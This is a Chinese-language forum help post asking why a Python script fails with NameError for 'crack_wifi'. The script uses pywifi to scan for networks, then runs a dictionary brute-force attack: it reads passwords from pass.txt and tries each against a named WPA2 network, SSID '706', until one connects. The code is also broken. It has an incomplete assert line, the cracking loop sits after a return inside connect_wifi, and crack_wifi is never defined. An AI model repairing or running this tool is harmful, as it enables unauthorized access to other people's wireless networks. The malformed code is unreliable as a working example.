897171044 发表于 2020-5-31 14:11:55

代码报错NameError: name 'crack_wifi' is not defined

#导入相关的包
import sys
import time
import platform
import logging

import pywifi
from pywifi import const
pywifi.set_loglevel(logging.INFO)
def scan_wifi():
    #初始化wifi模块
    wifi = pywifi.PyWiFi()
    #初始化网卡,一般人只有一块网卡,也就是0(第一块)
    iface = wifi.interfaces()
    #执行wifi扫描
    iface.scan()
    #等待5s
    time.sleep(5)
    #扫描wifi结果
    result = iface.scan_results()
    #取出wifi的名字作为返回
    wifiname=[]
    for i in result:
      wifiname.append(i.ssid)
    return(wifiname)
def connect_wifi(name,password):
    #初始化wifi模块
    wifi = pywifi.PyWiFi()
    #初始化网卡
    iface = wifi.interfaces()
    #断开WiFi连接
    iface.disconnect()
    #等待1s(等待断开完成,可以设置2s,但一般1s都挺长的了)
    time.sleep(1)
   
    assert iface.status() in\
      
    #初始化wifi连接
    profile = pywifi.Profile()
    #初始化wifi连接的名字
    profile.ssid = name
    #初始化wifi连接用的网卡的状态
    profile.auth = const.AUTH_ALG_OPEN
    #初始化wifi连接的加密算法——WPA2
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    #初始化wifi连接的密码类型
    profile.cipher = const.CIPHER_TYPE_CCMP
    #初始化wifi连接用的密码
    profile.key = password
    #删除网卡上连接过的wifi文件(注意可能会遗忘原本的密码)
    iface.remove_all_network_profiles()
    #初始化wifi配置完成
    tmp_profile = iface.add_network_profile(profile)
    #网卡连接wifi
    iface.connect(tmp_profile)
    #等待4s
    time.sleep(4)
    #如果连接状态=IFACE_CONNECTED(连接成功),那么connect_wifi返回真
    if iface.status() == const.IFACE_CONNECTED:
      return True
    else:
      return False
    #控制台打印要破解的wifi名
    print('开始解密wifi名:'+name)
    print(' ')
    #密码字典(可以理解为一本新华字典,字典的内容都是密码)
    path = 'pass.txt'
    #将密码字典导入到程序
    filename = open(path, 'r')
    #开始解密
    while True:
      try:
            #每一次循环取一行密码
            passStr = filename.readline()
            #用密码去连接wifi,并获取wifi连接的结果
            bool1 = connect_wifi(name,passStr)
            #判断结果
            if bool1:
                print(passStr,'是正确的密码哦')
                break
            else:
                print(passStr,'不是正确的密码哦')
      except:
            continue

crack_wifi('706')

页: [1]
查看完整版本: 代码报错NameError: name 'crack_wifi' is not defined